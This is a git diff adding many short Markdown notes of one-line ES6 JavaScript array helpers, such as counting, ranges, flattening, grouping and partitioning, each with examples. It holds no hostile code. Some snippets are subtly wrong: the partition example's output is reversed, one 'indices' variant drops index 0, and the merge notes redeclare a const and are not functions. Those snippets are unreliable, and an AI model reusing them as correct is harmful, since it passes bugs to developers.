tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to count the occurrences of a value in an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const countOccurrences = (arr, val) => arr.reduce((a, v) => (v === val ? a + 1 : a), 0);
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const countOccurrences = (arr, val) => arr.filter(item => item === val).length;
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
countOccurrences([2, 1, 3, 3, 2, 3], 2); // 2
|
||||
countOccurrences(['a', 'b', 'a', 'c', 'a', 'b'], 'a'); // 3
|
||||
```
|
||||
@@ -0,0 +1,29 @@
|
||||
---
|
||||
title: How to count the occurrences of array elements in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to count the occurrences of array elements only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const countOccurrences = arr => arr.reduce((prev, curr) => (prev[curr] = ++prev[curr] || 1, prev), {});
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
countOccurrences([2, 1, 3, 3, 2, 3]); // { '1': 1, '2': 2, '3': 3 }
|
||||
countOccurrences(['a', 'b', 'a', 'c', 'a', 'b']); // { 'a': 3, 'b': 2, 'c': 1 }
|
||||
```
|
||||
@@ -0,0 +1,44 @@
|
||||
---
|
||||
title: How to create an array of cumulative sum in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to create an array of cumulative sum only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const accumulate = arr => arr.map((sum => value => sum += value)(0));
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const accumulate = arr => arr.reduce((a, b, i) => i === 0 ? [b] : [...a, b + a[i - 1]], []);
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const accumulate = arr => arr.reduce((a, b, i) => i === 0 ? [b] : [...a, b + a[i - 1]], 0);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
accumulate([1, 2, 3, 4]); // [1, 3, 6, 10]
|
||||
// 1 = 1
|
||||
// 1 + 2 = 3
|
||||
// 1 + 2 + 3 = 6
|
||||
// 1 + 2 + 3 + 4 = 10
|
||||
```
|
||||
@@ -0,0 +1,40 @@
|
||||
---
|
||||
title: How to create an array of numbers in the given range in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to create an array of numbers in the given range only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const range = (min, max) => [...Array(max - min + 1).keys()].map(i => i + min);
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const range = (min, max) => Array(max - min + 1).fill(0).map((_, i) => min + i);
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const range = (min, max) => Array.from({ length: max - min + 1 }, (_, i) => min + i);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
range(5, 10); // [5, 6, 7, 8, 9, 10]
|
||||
```
|
||||
@@ -0,0 +1,37 @@
|
||||
---
|
||||
title: How to create cartesian product in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to create cartesian product only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const cartesian = (...sets) => sets.reduce((acc, set) => acc.flatMap((x) => set.map((y) => [...x, y])), [[]]);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
cartesian([1, 2], [3, 4]); // [ [1, 3], [1, 4], [2, 3], [2, 4] ]
|
||||
|
||||
/*
|
||||
3 4
|
||||
---------------
|
||||
1 | [1, 3] [1, 4]
|
||||
|
|
||||
2 | [2, 3] [2, 4]
|
||||
|
||||
*/
|
||||
```
|
||||
@@ -0,0 +1,28 @@
|
||||
---
|
||||
title: How to empty an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to empty an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const empty = arr => arr.length = 0;
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
arr = [];
|
||||
```
|
||||
@@ -0,0 +1,35 @@
|
||||
---
|
||||
title: How to find the closest number from an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to find the closest number from an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
// Find the number from `arr` which is closest to `n`
|
||||
const closest = (arr, n) => arr.reduce((prev, curr) => Math.abs(curr - n) < Math.abs(prev - n) ? curr : prev);
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const closest = (arr, n) => arr.sort((a, b) => Math.abs(a - n) - Math.abs(b - n))[0];
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
closest([29, 87, 8, 78, 97, 20, 75, 33, 24, 17], 50); // 33
|
||||
```
|
||||
+35
@@ -0,0 +1,35 @@
|
||||
---
|
||||
title: How to find the index of the last matching item of an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to find the index of the last matching item of an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const lastIndex = (arr, predicate) => arr.reduce((prev, curr, index) => predicate(curr) ? index : prev, -1);
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const lastIndex = (arr, predicate) => arr.map(item => predicate(item)).lastIndexOf(true);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
lastIndex([1, 3, 5, 7, 9, 2, 4, 6, 8], i => i % 2 === 1); // 4
|
||||
lastIndex([1, 3, 5, 7, 9, 8, 6, 4, 2], i => i > 6); // 5
|
||||
```
|
||||
@@ -0,0 +1,29 @@
|
||||
---
|
||||
title: How to find the index of the maximum item of an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to find the index of the maximum item of an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const indexOfMax = arr => arr.reduce((prev, curr, i, a) => curr > a[prev] ? i : prev, 0);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
indexOfMax([1, 3, 9, 7, 5]); // 2
|
||||
indexOfMax([1, 3, 7, 7, 5]); // 2
|
||||
```
|
||||
@@ -0,0 +1,29 @@
|
||||
---
|
||||
title: How to find the index of the minimum item of an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to find the index of the minimum item of an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const indexOfMin = arr => arr.reduce((prev, curr, i, a) => curr < a[prev] ? i : prev, 0);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
indexOfMin([6, 4, 8, 2, 10]); // 3
|
||||
indexOfMin([6, 4, 2, 2, 10]); // 2
|
||||
```
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
---
|
||||
title: How to find the length of the longest string in an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to find the length of the longest string in an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const findLongest = words => Math.max(...(words.map(el => el.length)));
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
findLongest(['always','look','on','the','bright','side','of','life']); // 6
|
||||
```
|
||||
@@ -0,0 +1,34 @@
|
||||
---
|
||||
title: How to find the maximum item of an array by given key in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to find the maximum item of an array by given key only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const maxBy = (arr, key) => arr.reduce((a, b) => a[key] >= b[key] ? a : b, {});
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
const people = [
|
||||
{ name: 'Bar', age: 24 },
|
||||
{ name: 'Baz', age: 32 },
|
||||
{ name: 'Foo', age: 42 },
|
||||
{ name: 'Fuzz', age: 36 },
|
||||
];
|
||||
maxBy(people, 'age'); // { name: 'Foo', age: 42 }
|
||||
```
|
||||
@@ -0,0 +1,22 @@
|
||||
---
|
||||
title: How to find the maximum item of an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to find the maximum item of an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const max = arr => Math.max(...arr);
|
||||
```
|
||||
@@ -0,0 +1,34 @@
|
||||
---
|
||||
title: How to find the minimum item of an array by given key in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to find the minimum item of an array by given key only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const minBy = (arr, key) => arr.reduce((a, b) => a[key] < b[key] ? a : b, {});
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
const people = [
|
||||
{ name: 'Bar', age: 24 },
|
||||
{ name: 'Baz', age: 32 },
|
||||
{ name: 'Foo', age: 42 },
|
||||
{ name: 'Fuzz', age: 36 },
|
||||
];
|
||||
minBy(people, 'age'); // { name: 'Bar', age: 24 }
|
||||
```
|
||||
@@ -0,0 +1,22 @@
|
||||
---
|
||||
title: How to find the minimum item of an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to find the minimum item of an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const min = arr => Math.min(...arr);
|
||||
```
|
||||
@@ -0,0 +1,41 @@
|
||||
---
|
||||
title: How to flatten an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to flatten an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const flat = arr => [].concat.apply([], arr.map(a => Array.isArray(a) ? flat(a) : a));
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const flat = arr => arr.reduce((a, b) => Array.isArray(b) ? [...a, ...flat(b)] : [...a, b], []);
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
// See the browser compatibility at https://caniuse.com/#feat=array-flat
|
||||
const flat = arr => arr.flat();
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
flat(['cat', ['lion', 'tiger']]); // ['cat', 'lion', 'tiger']
|
||||
```
|
||||
@@ -0,0 +1,30 @@
|
||||
---
|
||||
title: How to get all arrays of consecutive elements in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get all arrays of consecutive elements only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const getConsecutiveArrays = (arr, size) => size > arr.length ? [] : arr.slice(size - 1).map((_, i) => arr.slice(i, size + i));
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
getConsecutiveArrays([1, 2, 3, 4, 5], 2); // [[1, 2], [2, 3], [3, 4], [4, 5]]
|
||||
getConsecutiveArrays([1, 2, 3, 4, 5], 3); // [[1, 2, 3], [2, 3, 4], [3, 4, 5]]
|
||||
getConsecutiveArrays([1, 2, 3, 4, 5], 6); // []
|
||||
```
|
||||
@@ -0,0 +1,29 @@
|
||||
---
|
||||
title: How to get all n-th items of an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get all n-th items of an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const getNthItems = (arr, nth) => arr.filter((_, i) => i % nth === nth - 1);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
getNthItems([1, 2, 3, 4, 5, 6, 7, 8, 9], 2); // [2, 4, 6, 8]
|
||||
getNthItems([1, 2, 3, 4, 5, 6, 7, 8, 9], 3); // [3, 6, 9]
|
||||
```
|
||||
@@ -0,0 +1,29 @@
|
||||
---
|
||||
title: How to get all subsets of an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get all subsets of an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const getSubsets = arr => arr.reduce((prev, curr) => prev.concat(prev.map(k => k.concat(curr))), [[]]);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
getSubsets([1, 2]); // [[], [1], [2], [1, 2]]
|
||||
getSubsets([1, 2, 3]); // [[], [1], [2], [1, 2], [3], [1, 3], [2, 3], [1, 2, 3]]
|
||||
```
|
||||
@@ -0,0 +1,35 @@
|
||||
---
|
||||
title: How to get indices of a value in an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get indices of a value in an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const indices = (arr, value) => arr.reduce((acc, v, i) => (v === value ? [...acc, i] : acc), []);
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const indices = (arr, value) => arr.map((v, i) => v === value ? i : false).filter(Boolean);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
indices(['h', 'e', 'l', 'l', 'o'], 'l'); // [2, 3]
|
||||
indices(['h', 'e', 'l', 'l', 'o'], 'w'); // []
|
||||
```
|
||||
@@ -0,0 +1,22 @@
|
||||
---
|
||||
title: How to get the average of an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get the average of an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const average = arr => arr.reduce((a, b) => a + b, 0) / arr.length;
|
||||
```
|
||||
@@ -0,0 +1,29 @@
|
||||
---
|
||||
title: How to get the intersection of arrays in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get the intersection of arrays only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const getIntersection = (a, ...arr) => [...new Set(a)].filter(v => arr.every(b => b.includes(v)));
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
getIntersection([1, 2, 3], [2, 3, 4, 5]); // [2, 3]
|
||||
getIntersection([1, 2, 3], [2, 3, 4, 5], [1, 3, 5]); // [3]
|
||||
```
|
||||
@@ -0,0 +1,30 @@
|
||||
---
|
||||
title: How to get the rank of an array of numbers in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get the rank of an array of numbers only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const ranking = (arr) => arr.map((x, y, z) => z.filter(w => w > x).length + 1);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
ranking([80, 65, 90, 50]); // [2, 3, 1, 4]
|
||||
ranking([80, 80, 70, 50]); // [1, 1, 3, 4]
|
||||
ranking([80, 80, 80, 50]); // [1, 1, 1, 4]
|
||||
```
|
||||
@@ -0,0 +1,22 @@
|
||||
---
|
||||
title: How to get the sum of an array of numbers in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get the sum of an array of numbers only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const sum = arr => arr.reduce((a, b) => a + b, 0);
|
||||
```
|
||||
@@ -0,0 +1,34 @@
|
||||
---
|
||||
title: How to get the unique values of an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get the unique values of an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const unique = arr => [...new Set(arr)];
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const unique = arr => arr.filter((el, i, array) => array.indexOf(el) === i);
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const unique = arr => arr.reduce((acc, el) => acc.includes(el) ? acc : [...acc, el], []);
|
||||
```
|
||||
@@ -0,0 +1,28 @@
|
||||
---
|
||||
title: How to get union of arrays in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get union of arrays only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const union = (...arr) => [...new Set(arr.flat())];
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
union([1, 2], [2, 3], [3]); // [1, 2, 3]
|
||||
```
|
||||
@@ -0,0 +1,50 @@
|
||||
---
|
||||
title: How to group an array of objects by a key in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to group an array of objects by a key only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const groupBy = (arr, key) => arr.reduce((acc, item) => ((acc[item[key]] = [...(acc[item[key]] || []), item]), acc), {});
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
groupBy([
|
||||
{ branch: 'audi', model: 'q8', year: '2019' },
|
||||
{ branch: 'audi', model: 'rs7', year: '2020' },
|
||||
{ branch: 'ford', model: 'mustang', year: '2019' },
|
||||
{ branch: 'ford', model: 'explorer', year: '2020' },
|
||||
{ branch: 'bmw', model: 'x7', year: '2020' },
|
||||
], 'branch');
|
||||
|
||||
/*
|
||||
{
|
||||
audi: [
|
||||
{ branch: 'audi', model: 'q8', year: '2019' },
|
||||
{ branch: 'audi', model: 'rs7', year: '2020' }
|
||||
],
|
||||
bmw: [
|
||||
{ branch: 'bmw', model: 'x7', year: '2020' }
|
||||
],
|
||||
ford: [
|
||||
{ branch: 'ford', model: 'mustang', year: '2019' },
|
||||
{ branch: 'ford', model: 'explorer', year: '2020' }
|
||||
],
|
||||
}
|
||||
*/
|
||||
```
|
||||
@@ -0,0 +1,38 @@
|
||||
---
|
||||
title: How to merge two arrays in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to merge two arrays only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
// Merge but don't remove the duplications
|
||||
const merge = (a, b) => a.concat(b);
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const merge = (a, b) => [...a, ...b];
|
||||
|
||||
// Merge and remove the duplications
|
||||
const merge = [...new Set(a.concat(b))];
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const merge = [...new Set([...a, ...b])];
|
||||
```
|
||||
@@ -0,0 +1,28 @@
|
||||
---
|
||||
title: How to partition an array based on a condition in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to partition an array based on a condition only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const partition = (arr, criteria) => arr.reduce((acc, i) => (acc[criteria(i) ? 0 : 1].push(i), acc), [[], []]);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
partition([1, 2, 3, 4, 5], n => n % 2); // [[2, 4], [1, 3, 5]]
|
||||
```
|
||||
@@ -0,0 +1,28 @@
|
||||
---
|
||||
title: How to remove duplicate values in an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to remove duplicate values in an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const removeDuplicate = arr => arr.filter(i => arr.indexOf(i) === arr.lastIndexOf(i));
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
removeDuplicate(['h', 'e', 'l', 'l', 'o', 'w', 'o', 'r', 'l', 'd']); // ['h', 'e', 'w', 'r', 'd']
|
||||
```
|
||||
@@ -0,0 +1,28 @@
|
||||
---
|
||||
title: How to remove falsy values from array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to remove falsy values from array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const removeFalsy = arr => arr.filter(Boolean);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
removeFalsy([0, 'a string', '', NaN, true, 5, undefined, 'another string', false]); // ['a string', true, 5, 'another string']
|
||||
```
|
||||
@@ -0,0 +1,50 @@
|
||||
---
|
||||
title: How to repeat an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
